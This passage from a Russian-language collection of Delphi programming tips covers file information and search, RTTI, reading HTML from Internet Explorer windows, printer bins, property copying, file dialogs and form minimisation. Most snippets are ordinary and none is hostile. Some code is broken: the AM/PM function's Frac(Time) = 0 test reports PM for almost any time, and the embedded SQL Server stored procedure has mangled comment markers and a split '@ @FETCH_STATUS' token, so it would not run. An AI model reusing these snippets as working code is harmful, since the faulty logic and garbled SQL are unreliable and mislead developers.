Result.Extension := ExtractFileExt(FileName);
Result.NameNoExt := Copy(Result.Name, 1, length(Result.Name) -
length(Result.Extension));
Result.Path := ExtractFilePath(FileName);
Result.Drive := ExtractFileDrive(FileName);
Result.ShortPath := ExtractShortPathName(ExtractFilePath(FileName));
if lowercase(Result.Extension) <> '.exe' then
Result.AssociatedFile := AssociatedFile(Result.Extension);
if FindFirst(FileName, faAnyFile, ts) = 0 then
begin
Result.Exists := true;
Result.CreateDate := FileDateToDateTime(ts.Time);
Result.Size := ts.FindData.nFileSizeHigh * 4294967296 +
ts.FindData.nFileSizeLow;
Result.Attributes.ReadOnly := (faReadOnly and ts.Attr) > 0;
Result.Attributes.Hidden := (faHidden and ts.Attr) > 0;
Result.Attributes.System := (faSysFile and ts.Attr) > 0;
Result.Attributes.Archive := (faArchive and ts.Attr) > 0;
Result.ModifyDate := FileTime2DateTime(ts.FindData.ftLastWriteTime);
Result.LastAccessDate := FileTime2DateTime(ts.FindData.ftLastAccessTime);
Result.ShortName := ts.FindData.cAlternateFileName;
Findclose(ts);
end
else
Result.Exists := false;
end;
Скорее всего эта функция как есть вряд ли понадобится, так как наверняка бОльшее количество определяемых параметров избыточно, тем ни менее может кому пригодится как пример выяснения информации о файле.
Поиск файлов
Теперь поговорим о поиске файлов. Для этой цели могут использоваться процедуры FindFirst, FindNext, FindClose, при участии переменной типа TSearchRec которая хранит информацию о текущем статусе поиска и характеристики последнего найденного файла.
Пример иллюстрирующий поиск всех файлов и каталогов в определенном каталоге:
var
SearchRec: TSearchRec;
...
if FindFirst('c:\Windows\*.*', faAnyFile, SearchRec) = 0 then
repeat
{Вот здесь мы можем делать с найденным файлом что угодно
SearchRec.name - имя файла
ExpandFileName(SearchRec.name) - имя файла с полным путем}
until
FindNext(SearchRec) <> 0;
FindClose(SearchRec);
Примечания по приведенному коду:
Первыми в список могут попадать файлы с именами "." и ".." - это ДОСовские имена для переходов на "родительский уровень", иногда нужна обработка для их игнорирования. FindFirst в качестве первого параметра принимает шаблон для поиска, так как он был принят для ДОС. Если шаблон не включает путь то файлы будут искаться в текущем каталоге. FindFirst требует задания атрибута для файла - здесь мы искали все файлы, если надо какие-то определенные (например только скрытые, или только каталоги) то надо это указать, список всех атрибутов я уже приводил выше. SearchRec переменная связывает во едино FindFirst и FindNext, но требует ресурсов для своей работы, поэтому желательно ее освободить после поиска процедурой FindClose(SearchRec) - на самом деле утечки памяти небольшие, но если программа работает в цикле и долгое время пожирание ресурсов будет значительным. FindFirst/FindNext - работают не открывая файлы, поэтому они корректно находят даже Swap файлы Windows...Список заданных событий всех компонентов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses TypInfo;
{ .... }
procedure TForm1.Button1Click(Sender: TObject);
var
x, y, z: Word;
pl: PPropList;
begin
y := GetPropList(Self, pl);
for x := 0 to y - 1 do
begin
if Copy(pl[x].Name, 1, 2) <> 'On' then Continue;
if GetMethodProp(Self, pl[x].Name).Code <> nil then
Memo1.Lines.Add(Self.Name + ' - ' + pl[x].Name);
end;
for z := 0 to Self.ComponentCount - 1 do
begin
y := GetPropList(Self.Components[z], pl);
for x := 0 to y - 1 do
begin
if Copy(pl[x].Name, 1, 2) <> 'On' then Continue;
if GetMethodProp(Self.Components[z], pl[x].Name).Code <> nil then
Memo1.Lines.Add(Self.Components[z].Name + ' - ' + pl[x].Name);
end;
end;
end;
Все 270 классов Delphi.
Оформил: DeeCo
EAbort(SYSUTILS) EBreakpoint(SYSUTILS) EClassNotFound(CLASSES) EComponentError(CLASSES) EConvertError(SYSUTILS) EDBEditError(MASK) EDBEngineError(DB) EDatabaseError(DB) EDivByZero(SYSUTILS) EFCreateError(CLASSES) EFOpenError(CLASSES) EFault(SYSUTILS) EFilerError(CLASSES) EGPFault(SYSUTILS) EInOutError(SYSUTILS) EIntError(SYSUTILS) EIntOverflow(SYSUTILS) EInvalidCast(SYSUTILS) EInvalidGraphic(GRAPHICS) EInvalidGraphicOperation(GRAPHICS) EInvalidGridOperation(GRIDS) EInvalidImage(CLASSES) EInvalidObject(CONTROLS) EInvalidOp(SYSUTILS) EInvalidOpCode(SYSUTILS) EInvalidOperation(CONTROLS) EInvalidPointer(SYSUTILS) EListError(CLASSES) EMCIDeviceError(MPLAYER) EMathError(SYSUTILS) EMenuError(MENUS) EMethodNotFound(CLASSES) EOutOfMemory(SYSUTILS) EOutOfResources(CONTROLS) EOutlineError(OUTLINE) EOverflow(SYSUTILS) EPageFault(SYSUTILS) EParserError(CLASSES) EPrinter(PRINTERS) EProcessorException(SYSUTILS) EPropertyError(DSGNINTF) ERangeError(SYSUTILS) EReadError(CLASSES) EReportError(REPORT) EResNotFound(CLASSES) ESingleStep(SYSUTILS) EStackFault(SYSUTILS) EStreamError(CLASSES) EStringListError(CLASSES) EUnderflow(SYSUTILS) EWriteError(CLASSES) EZeroDivide(SYSUTILS) Exception(SYSUTILS) OutlineError(OUTLINE) TApplication(FORMS) TBCDField(DBTABLES) TBatchMove(DBTABLES) TBevel(EXTCTRLS) TBitBtn(BUTTONS) TBitmap(GRAPHICS) TBitmapImage(GRAPHICS) TBlobField(DBTABLES) TBlobStream(DBTABLES) TBooleanField(DBTABLES) TBrush(GRAPHICS) TButton(STDCTRLS) TButtonControl(STDCTRLS) TBytesField(DBTABLES) TCanvas(GRAPHICS) TCaptionProperty(DSGNINTF) TCharProperty(DSGNINTF) TCheckBox(STDCTRLS) TClassProperty(DSGNINTF) TClipboard(CLIPBRD) TColorDialog(DIALOGS) TColorProperty(DSGNINTF) TComboBox(STDCTRLS) TComboButton(DBLOOKUP) TComboButton(DIALOGS) TCommonDialog(DIALOGS) TComponent(CLASSES) TComponentEditor(DSGNINTF) TComponentList(DSGNINTF) TComponentNameProperty(DSGNINTF) TComponentProperty(DSGNINTF) TControl(CONTROLS) TControlCanvas(CONTROLS) TControlScrollBar(FORMS) TCurrencyField(DBTABLES) TCursorProperty(DSGNINTF) TCustomCheckBox(STDCTRLS) TCustomComboBox(STDCTRLS) TCustomControl(CONTROLS) TCustomDBGrid(DBGRIDS) TCustomEdit(STDCTRLS) TCustomGrid(GRIDS) TCustomGroupBox(STDCTRLS) TCustomLabel(STDCTRLS) TCustomListBox(STDCTRLS) TCustomMaskEdit(MASK) TCustomMemo(STDCTRLS) TCustomOutline(OUTLINE) TCustomPanel(EXTCTRLS) TCustomRadioGroup(EXTCTRLS) TDBCheckBox(DBCTRLS) TDBComboBox(DBCTRLS) TDBDataSet(DB) TDBEdit(DBCTRLS) TDBError(DB) TDBGrid(DBGRIDS) TDBImage(DBCTRLS) TDBListBox(DBCTRLS) TDBLookupCombo(DBLOOKUP) TDBLookupList(DBLOOKUP) TDBMemo(DBCTRLS) TDBRadioGroup(DBCTRLS) TDBText(DBCTRLS) TDataLink(DB) TDataSet(DB) TDataSetDesigner(DB) TDataSource(DB) TDatabase(DB) TDateField(DBTABLES) TDateTimeField(DBTABLES) TDdeClientConv(DDEMAN) TDdeClientItem(DDEMAN) TDdeMgr(DDEMAN) TDdeServerConv(DDEMAN) TDdeServerItem(DDEMAN) TDefaultEditor(DSGNINTF) TDesigner(FORMS) TDirectoryListBox(FILECTRL) TDlgControl(DIALOGS) TDrawGrid(GRIDS) TDriveComboBox(FILECTRL) TEdit(STDCTRLS) TEnumProperty(DSGNINTF) TField(DB) TFieldDataLink(DBTABLES) TFieldDef(DB) TFieldDefs(DB) TFileListBox(FILECTRL) TFileStream(CLASSES) TFiler(CLASSES) TFilterComboBox(FILECTRL) TFindDialog(DIALOGS) TFloatField(DBTABLES) TFloatProperty(DSGNINTF) TFolderBitmap(FILECTRL) TFont(GRAPHICS) TFontDialog(DIALOGS) TFontNameProperty(DSGNINTF) TFontProperty(DSGNINTF) TForm(FORMS) TFormDesigner(DSGNINTF) TGraphic(GRAPHICS) TGraphicControl(CONTROLS) TGraphicField(DBTABLES) TGraphicsObject(GRAPHICS) TGridDataLink(DBGRIDS) TGroupBox(STDCTRLS) THandleStream(CLASSES) THeader(EXTCTRLS) THintWindow(CONTROLS) TIExpert(EXPTINTF) TIFileStream(ISTREAMS) TIMemoryStream(ISTREAMS) TIStream(VIRTINTF) TIToolServices(TOOLINTF) TIcon(GRAPHICS) TIconImage(GRAPHICS) TImage(EXTCTRLS) TImageList(GRAPHICS) TIndexDef(DBTABLES) TIndexDefs(DBTABLES) TIniFile(INIFILES) TInplaceEdit(GRIDS) TIntegerField(DBTABLES) TIntegerProperty(DSGNINTF) TInterface(VIRTINTF) TInternalImage(GRAPHICS) TLabel(STDCTRLS) TList(CLASSES) TListBox(STDCTRLS) TLoginDialog(DBLOGDLG) TMPFilenameProperty(DSGNINTF) TMainMenu(MENUS) TMaskEdit(MASK) TMediaPlayer(MPLAYER) TMemo(STDCTRLS) TMemoField(DBTABLES) TMemoryStream(CLASSES) TMenu(MENUS) TMenuItem(MENUS) TMetafile(GRAPHICS) TMetafileImage(GRAPHICS) TMethodProperty(DSGNINTF) TModalResultProperty(DSGNINTF) TNavButton(DBCTRLS) TNavDataLink(DBCTRLS) TNotebook(EXTCTRLS) TNumericField(DBTABLES) TObject(SYSTEM) TOleContainer(TOCTRL) TOleDropNotify(TOCTRL) TOpenDialog(DIALOGS) TOrdinalProperty(DSGNINTF) TOutline(OUTLINE) TOutlineNode(OUTLINE) TPage(EXTCTRLS) TPaintBox(EXTCTRLS) TPanel(EXTCTRLS) TParam(DBTABLES) TParamDlg(PARAMDLG) TParamList(DB) TParams(DBTABLES) TParser(CLASSES) TPasswordDialog(DBPWDLG) TPen(GRAPHICS) TPersistent(CLASSES) TPicture(GRAPHICS) TPopupGrid(DBLOOKUP) TPopupMenu(MENUS) TPrintDialog(DIALOGS) TPrinter(PRINTERS) TPrinterSetupDialog(DIALOGS) TProcParams(PROCDLG) TPropertyEditor(DSGNINTF) TQuery(DBTABLES) TQueryParams(QBINDDLG) TRadioButton(STDCTRLS) TRadioGroup(EXTCTRLS) TReader(CLASSES) TReplaceDialog(DIALOGS) TReport(REPORT) TReportDirProperty(REPORT) TReportEditor(REPORT) TReportNameProperty(REPORT) TSaveDialog(DIALOGS) TScreen(FORMS) TScrollBar(STDCTRLS) TScrollBox(FORMS) TScrollingWinControl(FORMS) TSession(DB) TSetElementProperty(DSGNINTF) TSetProperty(DSGNINTF) TShape(EXTCTRLS) TShortCutProperty(DSGNINTF) TSmallintField(DBTABLES) TSpeedButton(BUTTONS) TStoredProc(DBTABLES) TStream(CLASSES) TStringField(DBTABLES) TStringGrid(GRIDS) TStringGridStrings(GRIDS) TStringList(CLASSES) TStringProperty(DSGNINTF) TStrings(CLASSES) TTabOrderProperty(DSGNINTF) TTabSet(TABS) TTable(DBTABLES) TTableDataLink(DBTABLES) TTimeField(DBTABLES) TTimer(EXTCTRLS) TVarBytesField(DBTABLES) TVirtualStream(ISTREAMS) TWinControl(CONTROLS) TWinOleHelper(FORMS) TWordField(DBTABLES) TWriter(CLASSES)
Получить HTML-код из всех запущенных экземпляров Internet Explorer.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML_TLB, ActiveX;
function GetHTMLCode(WB: IWebbrowser2; ACode: TStrings): Boolean;
var
ps: IPersistStreamInit;
s: string;
ss: TStringStream;
sa: IStream;
begin
ps := WB.document as IPersistStreamInit;
s := '';
ss := TStringStream.Create(s);
try
sa:= TStreamAdapter.Create(ss, soReference) as IStream;
Result := Succeeded(ps.Save(sa, Bool(True)));
if Result then ACode.Add(ss.Datastring);
finally
ss.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ShellWindow: IShellWindows;
WB: IWebbrowser2;
spDisp: IDispatch;
IDoc1: IHTMLDocument2;
k: Integer;
begin
ShellWindow := CoShellWindows.Create;
// get the running instance of Internet Explorer
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then Continue;
// QueryInterface determines if an interface can be used with an object
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
// Add HTML Code to Memo
Memo1.Lines.Add('****************************************');
Memo1.Lines.Add(WB.LocationURL);
Memo1.Lines.Add('****************************************');
GetHTMLCode(WB, Memo1.Lines);
end;
end;
end;
end;
end;
Получить все установленные компоненты в IDE Delphi.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{....}
uses ToolsApi;
{....}
var
a, i: Integer;
begin
with (BorlandIDEServices as IOTAPackageServices) do
begin
for a := 0 to GetPackageCount - 1 do
begin
for i := 0 to GetComponentCount(a) - 1 do
begin
{get each component name with GetComponentName(a, i);}
end;
end;
end;
end;
Найти все ссылки в TMemo.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
For this tip you need Memo1, ListBox1, Label1, Button1.
Fur diesen Tip braucht man ein Memo1, eine ListBox1,
ein Label1 und einen Button1.
}
procedure TForm1.Button1Click(Sender: TObject);
var
i, p: Integer;
s: string;
begin
ListBox1.Clear;
for i := 0 to Memo1.Lines.Count - 1 do
begin
if Pos('http://', Memo1.Lines.Strings[i]) > 0 then
begin
s := '';
{If the current line contains a "http://", read on until a space is found
Die aktuelle Zeile wird nach der Zeichenfolge "http://" durchsucht
und bei Erfolg ab der gefundenen Position ausgelesen, bis ein
Leerzeichen auftritt...}
for p := Pos('http://', Memo1.Lines.Strings[i]) to
Length(Memo1.Lines.Strings[i]) do
if Memo1.Lines.Strings[i][p] <> ' ' then
s := s + Memo1.Lines.Strings[i][p]
else
break;
{Remove some characters if address doesn't end with a space
Falls die gefundene Adresse nicht mit einem Leerzeichen abschlie?t,
werden hier noch anhangende Textzeichen entfernt...}
while Pos(s[Length(s)], '..;!")]}?''>') > 0 do
Delete(s, Length(s), 1);
// Add the Address to the list...
//Gefundene Adresse in die Liste aufnehmen...
ListBox1.Items.Add(s);
end;
end;
// Show the number of Addresses in Label1
// Die Zahl der gefundenen Adressen in Label1 anzeigen...
if ListBox1.Items.Count > 0 then
label1.Caption := IntToStr(ListBox1.Items.Count) +
' Adresse(n) gefunden.'
else
label1.Caption := 'Keine Adresse gefunden.';
end;
Вывести все способы подачи бумаги для печати.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
WinSpool, Printers;
procedure GetPaperBins(sl: TStrings);
type
TBinName = array [0..23] of Char;
TBinNameArray = array [1..High(Integer) div SizeOf(TBinName)] of TBinName;
PBinnameArray = ^TBinNameArray;
TBinArray = array [1..High(Integer) div SizeOf(Word)] of Word;
PBinArray = ^TBinArray;
var
Device, Driver, Port: array [0..255] of Char;
hDevMode: THandle;
i, numBinNames, numBins, temp: Integer;
pBinNames: PBinnameArray;
pBins: PBinArray;
begin
Printer.PrinterIndex := -1;
Printer.GetPrinter(Device, Driver, Port, hDevmode);
numBinNames := WinSpool.DeviceCapabilities(Device, Port, DC_BINNAMES, nil, nil);
numBins := WinSpool.DeviceCapabilities(Device, Port, DC_BINS, nil, nil);
if numBins <> numBinNames then
begin
raise Exception.Create('DeviceCapabilities reports different number of bins and bin names!');
end;
if numBinNames > 0 then
begin
pBins := nil;
GetMem(pBinNames, numBinNames * SizeOf(TBinname));
GetMem(pBins, numBins * SizeOf(Word));
try
WinSpool.DeviceCapabilities(Device, Port, DC_BINNAMES, PChar(pBinNames), nil);
WinSpool.DeviceCapabilities(Device, Port, DC_BINS, PChar(pBins), nil);
sl.Clear;
for i := 1 to numBinNames do
begin
temp := pBins^[i];
sl.addObject(pBinNames^[i], TObject(temp));
end;
finally
FreeMem(pBinNames);
if pBins <> nil then
FreeMem(pBins);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
GetPaperBins(Listbox1.Items);
end;
Получить информацию обо всех формах проекта.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function EnumResTypes(hMod: THandle; restype, resname: PChar; Lines: TStrings): BOOL; stdcall;
var
ms: TMemoryStream;
rs: TResourceStream;
S: string;
i: Integer;
begin
Result := True;
SetLength(S, 10000);
if Assigned(resname) then
begin
rs := TResourceStream.Create(hinstance, resname, restype);
try
try
ms := TMemoryStream.Create;
try
ObjectBinaryToText(rs, ms);
SetLength(S, ms.Size);
ms.Position := 0;
ms.read(S[1], ms.Size);
Lines.Add(resname);
Lines.Add('Length of data is ' + IntToStr(Length(S)));
i := Pos(#13, S);
if i > 0 then
begin
SetLength(S, i - 1);
Lines.Add(S);
i := Pos('object', S);
if i > 0 then
begin
Delete(S, 1, i + 6);
i := Pos(' ', S);
if i > 0 then
begin
Lines.Add('Form name is: ' + Copy(S, 1, i - 2));
Delete(S, 1, i);
Lines.Add('Form class is: ' + S);
end;
end
end
else
begin
// Lines.Add('This resource seems not to hold a form');
end;
finally
ms.Free
end;
except
// Lines.Add('This resource is not a form resource');
end;
finally
rs.Free;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not EnumResourceNames(0, RT_RCDATA, @EnumResTypes, Integer(Memo1.Lines)) then
Memo1.Lines.Add('Error, GetLastError Returns ' + IntToHex(GetLastError, 8));
end;
Как присвоить все значения полей одного класса, другому такому же классу.
Автор: Serge GubenkoHow can I assign all property values (or if it's not possible only published property values, or some of them) of one class (TComponent) to another instance of the same class? What I want to do is:
MyComponent1. {property1} := MyComponent2. {property1};
{...}
MyComponent2. {propertyN} := MyComponent2. {propertyN};
Is there a better and shorter way to do this? I tried this: MyComponent1 := MyComponent2; But it doesn't work. Why not? Can I point to the second component ?
MyComponent2 and MyComponent1 are pointers to your components, and this kind of assigment leads to MyComponent1 pointing to MyComponent2. But it will not copy its property values.
A better way is to override the assign method of your control, do all property assignment there and call it when you need to copy component attributes. Here's example:
procedure TMyComponent.Assign(Source: TPersistent);
begin
if Source is TMyComponent then
begin
property1 := TMyComponent(Source).property1;
{ ... }
end
else
inherited Assign(Source);
end;
To assign properties you'll need to set this line in the code:
MyComponent1.Assign(MyComponent2);
Как присвоить все значения полей одного класса, другому такому же классу 2.
Автор: Gokhan Ersumer
procedure EqualClassProperties(AClass1, AClass2: TObject);
var
PropList: PPropList;
ClassTypeInfo: PTypeInfo;
ClassTypeData: PTypeData;
i: integer;
NumProps: Integer;
APersistent: TPersistent;
begin
if AClass1.ClassInfo <> AClass2.ClassInfo then
exit;
ClassTypeInfo := AClass1.ClassInfo;
ClassTypeData := GetTypeData(ClassTypeInfo);
if ClassTypeData.PropCount <> 0 then
begin
GetMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
try
GetPropInfos(AClass1.ClassInfo, PropList);
for i := 0 to ClassTypeData.PropCount - 1 do
if not (PropList[i]^.PropType^.Kind = tkMethod) then
{if Class1,2 is TControl/TWinControl on same form, its names must be unique}
if PropList[i]^.Name <> 'Name' then
if (PropList[i]^.PropType^.Kind = tkClass) then
begin
APersistent := TPersistent(GetObjectProp(AClass1,
PropList[i]^.Name, TPersistent));
if APersistent <> nil then
APersistent.Assign(TPersistent(GetObjectProp(AClass2,
PropList[i]^.Name, TPersistent)))
end
else
SetPropValue(AClass1, PropList[i]^.Name, GetPropValue(AClass2,
PropList[i]^.Name));
finally
FreeMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
end;
end;
end;
Note that this code skips object properties inherited other than TPersistent.
Загрузить сразу все записи в TStringList.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ Loading millions of records into a stringlist can be very slow }
procedure TForm1.SlowLoadingIntoStringList(StringList: TStringList);
begin
StringList.Clear;
with SourceTable do
begin
Open;
DisableControls;
try
while not EOF do
begin
StringList.Add(FieldByName('OriginalData').AsString);
Next;
end;
finally
EnableControls;
Close;
end;
end;
end;
{ This is much, much faster }
procedure TForm1.QuickLoadingIntoStringList(StringList: TStringList);
begin
with CacheTable do
begin
Open;
try
StringList.Text := FieldByName('Data').AsString;
finally
Close;
end;
end;
end;
{ How can this be done?
In Microsoft SQL Server 7, you can write a stored procedure that updates every night
a cache table that holds all the data you want in a single column and row.
In this example, you get the data from a SourceTable and put it all in a Cachetable.
The CacheTable has one blob column and must have only one row.
Here it is the SQL code: }
Create Table CacheTable
(Data Text NULL)
GO
Create
procedure PopulateCacheTable as
begin
set NOCOUNT on
DECLARE @ptrval binary(16), @Value varchar(600) -
- a good Value for the expected maximum Length
- - You must set 'select into/bulkcopy' option to True in order to run this sp
DECLARE @dbname nvarchar(128)
set @dbname = db_name()
EXEC sp_dboption @dbname, 'select into/bulkcopy', 'true'
- - Declare a cursor
DECLARE scr CURSOR for
SELECT OriginalData + char(13) + char(10) - - each line in a TStringList is
separated by a #13#10
FROM SourceTable
- - The CacheTable Table must have only one record
if EXISTS (SELECT * FROM CacheTable)
Update CacheTable set Data = ''
else
Insert CacheTable VALUES('')
- - Get a Pointer to the field we want to Update
SELECT @ptrval = TEXTPTR(Data) FROM CacheTable
Open scr
FETCH Next FROM scr INTO @Value
while @ @FETCH_STATUS = 0
begin - - This UPDATETEXT appends each Value to the
end
of the blob field
UPDATETEXT CacheTable.Data @ptrval NULL 0 @Value
FETCH Next FROM scr INTO @Value
end
Close scr
DEALLOCATE scr
- - Reset this option to False
EXEC sp_dboption @dbname, 'select into/bulkcopy', 'false'
end
GO
{ You may need to increase the BLOB SIZE parameter if you use BDE }
Поочередный поиск заданного значения.
Автор: Панасюк АртемЭто поочередный поиск заданого значения (начало, середина, один символ и тд.), при чем регистр не имеет значения. Поиск по больших выборках даных будет несколько долговат, но наглядный.
procedure SearchValue(AQuery: TADOQuery; AField, AValue: string);
var
i: integer;
NoRec: integer;
begin
with AQuery do
begin
First;
for i := 0 to RecordCount - 1 do
begin
if (not Eof) and (Pos(AnsiLowerCase(AValue),
AnsiLowerCase(FieldByName(AField).AsString)) <> 0) then
begin
if MessageBox(HWND_DESKTOP, PChar('Заданое значение найдено!' + #10#13+
' Продолжать поиск'), 'Поиск', MB_YESNO +
MB_ICONINFORMATION + MB_DEFBUTTON1) = IDYES then
begin
NoRec := RecNo;
Next;
end
else
Break;
end
else
Next;
end;
MoveBy(NoRec - RecordCount);
MessageBox(HWND_DESKTOP, PChar('Поиск завершен!'), 'Поиск', MB_OK +
MB_ICONINFORMATION + MB_DEFBUTTON1);
end;
end;
// А это пример того, как я вызывал
// процедуру поиска через TActionList
procedure TfmMain.acSearchExecute(Sender: TObject);
var
S: string;
begin
S := '';
S := InputBox('Поиск', 'Введите значение для поиска:', S);
if S <> '' then
SearchValue(((Screen.ActiveControl as TDBGridEh).DataSource.DataSet as
TADOQuery), (Screen.ActiveControl as
TDBGridEh).SelectedField.FieldName, S);
end;
procedure TfmMain.acSearchUpdate(Sender: TObject);
begin
(Sender as TAction).Enabled :=
Assigned(Screen.ActiveControl) and
(Screen.ActiveControl is TDBGridEh);
end;
Альтернатива для TOpenDialog и TSaveDialog.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Today I want to display how you may use the simple functions as
alternative for TOpenDialog/TSaveDialog components.
Problem is that Borland incorrectly wrote those components and when
Microsoft add some new extended features in own dialogs,
standard TOpenDialog and TSaveDialog still use old style.
For example, when Microsoft added placebar in own dialogs,
VCL's dialog still use old style without placebars.
Personally I prefer to use applications that support all
features of installed OS.
This is a reason why I wrote the function as wrapper for Windows
API call for dialogs and now I use this function instead components.
It allow not only to use all new features from Windows,
but also reduce a size for exe-file and allow to use same function for
both TOpenDialog and TSaveDialog functionality.
For example:
1. to display the "OpenDialog" for text files
s := 'aaa.txt';
if OpenSaveFileDialog(Application.Handle, 'txt', 'Text Files|*.txt', 'c:\',
'Select text file', s, True) then
ShowMessage(s + ' file was selected for open')
2. to display the "Save dialog":
s := 'data.dbf';
if OpenSaveFileDialog(Application.Handle, 'dbf', 'dBase tables|*.dbf|All files|*.*',
'c:\', 'Select table', s, False) then
ShowMessage(s + ' table was selected for save')
See full code below. Hope you'll find this code useful.
}
uses Windows;
function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir,
Title: string; var FileName: string; IsOpenDialog: Boolean): Boolean;
implementation
uses ShlObj, SysUtils;
type
POpenFilenameA = ^TOpenFilenameA;
POpenFilename = POpenFilenameA;
tagOFNA = packed record
lStructSize: DWORD;
hWndOwner: HWND;
hInstance: HINST;
lpstrFilter: PAnsiChar;
lpstrCustomFilter: PAnsiChar;
nMaxCustFilter: DWORD;
nFilterIndex: DWORD;
lpstrFile: PAnsiChar;
nMaxFile: DWORD;
lpstrFileTitle: PAnsiChar;
nMaxFileTitle: DWORD;
lpstrInitialDir: PAnsiChar;
lpstrTitle: PAnsiChar;
Flags: DWORD;
nFileOffset: Word;
nFileExtension: Word;
lpstrDefExt: PAnsiChar;
lCustData: LPARAM;
lpfnHook: function(Wnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT stdcall;
lpTemplateName: PAnsiChar;
end;
TOpenFilenameA = tagOFNA;
TOpenFilename = TOpenFilenameA;
function GetOpenFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll' name 'GetOpenFileNameA';
function GetSaveFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll' name 'GetSaveFileNameA';
const
OFN_DONTADDTORECENT = $02000000;
OFN_FILEMUSTEXIST = $00001000;
OFN_HIDEREADONLY = $00000004;
OFN_PATHMUSTEXIST = $00000800;
function CharReplace(const Source: string; oldChar, newChar: Char): string;
var
i: Integer;
begin
Result := Source;
for i := 1 to Length(Result) do
if Result[i] = oldChar then
Result[i] := newChar
end;
function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir, Title: string; var FileName: string; IsOpenDialog: Boolean): Boolean;
var
ofn: TOpenFileName;
szFile: array[0..MAX_PATH] of Char;
begin
Result := False;
FillChar(ofn, SizeOf(TOpenFileName), 0);
with ofn do
begin
lStructSize := SizeOf(TOpenFileName);
hwndOwner := ParentHandle;
lpstrFile := szFile;
nMaxFile := SizeOf(szFile);
if (Title <> '') then
lpstrTitle := PChar(Title);
if (InitialDir <> '') then
lpstrInitialDir := PChar(InitialDir);
StrPCopy(lpstrFile, FileName);
lpstrFilter := PChar(CharReplace(Filter, '|', #0)+#0#0);
if DefExt <> '' then
lpstrDefExt := PChar(DefExt);
end;
if IsOpenDialog then
begin
if GetOpenFileName(ofn) then
begin
Result := True;
FileName := StrPas(szFile);
end;
end
else
begin
if GetSaveFileName(ofn) then
begin
Result := True;
FileName := StrPas(szFile);
end;
end
end;
Определить, время сейчас до или после полудня.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure AM_or_PM;
begin
if Frac(Time) = 0 then
ShowMessage('AM')
else
ShowMessage('PM');
end;
Определение наследника класса по имени - аналог IS.
Автор: Игорь Шевченко WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение наследника класса по имени (аналог IS)
Зависимости: SysUtils
Автор: Игорь Шевченко, whitefranz@hotmail.com, Москва
Copyright: Игорь Шевченко
Дата: 13 мая 2002 г.
***************************************************** }
{ Возвращает true, если класс порожден от класса с именем Name }
{ Код не требует привязки к RTTI определяемого класса (не надо unit, где описан
класс в uses указывать :-) }
function HSClassBasedOn(Value: TClass; const Name: string): Boolean;
begin
Result := false;
while Value <> nil do
begin
if SameText(Value.ClassName, Name) then
begin
Result := true;
Exit;
end;
Value := Value.ClassParent;
end;
end;
Анализировать параметры командной строки при загрузке программы.
if ParamCount > 0 then begin // Сюда поместите Ваш код, анализирующий ParamStr(1) end else begin // а здесь укажите, что делать если парамер не был введен. // Это может быть, например, установка параметров по умолчанию // или // halt // если без введенных параметров программа // вообще не должна выполняться end; application.run; |
Как заставить формы минимизироваться на панель задач с анимацией.
Автор: Nomadic Дело-то вот в чем: Главным окном программы дельфийской является не главная форма, а окно TApplication, которое имеет нулевые размеры, поэтому его не видно. Именно для него показывается иконка на панели задач. Когда пользователь нажимает кнопку минимизации на главной форме, команда минимизации передается этому окну, и сворачивается именно оно, а для остальных просто делается hide. А так как окно TApplication имеет нулевые размеры, то и анимации никакой не видно. А чтобы этого избежать, необходимо:В исходном тесте модуля проекта после вызова Application.Initialize выполнить вызов.
// В исходном тесте модуля проекта после вызова Application.Initialize SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW); |
В исходном тексте модуля главной формы перекрыть следующие методы -
// // В классе формы // Интерфейс protected procedure CreateParams(var p: TCreateParams); override; procedure WMSysCommand(var m: TMessage); message WM_SYSCOMMAND; |
// Реализация procedure TMainForm.CreateParams(var p: TCreateParams); begin inherited; p.WndParent := 0; end; procedure TMainForm.WMSysCommand(var m: TMessage); begin m.Result := DefWindowProc(Handle, m.Msg, m.wParam, m.lParam); end; |
Вместо SetWindowLong в MDI-приложениях лучше использовать.
ShowWindow(Application.Handle, SW_HIDE); |
Анимация окна - AnimateWindow.
Автор: i-s-v WEB-сайт: http://isv.iatp.org.ua
Функция AnimateWindow дает Вам возможность производить специальные эффекты при показе или сокрытии окон. Имеются четыре типа мультипликации: ролик, слайд, свертывание или развертывание и плавное альфа-перетекание.
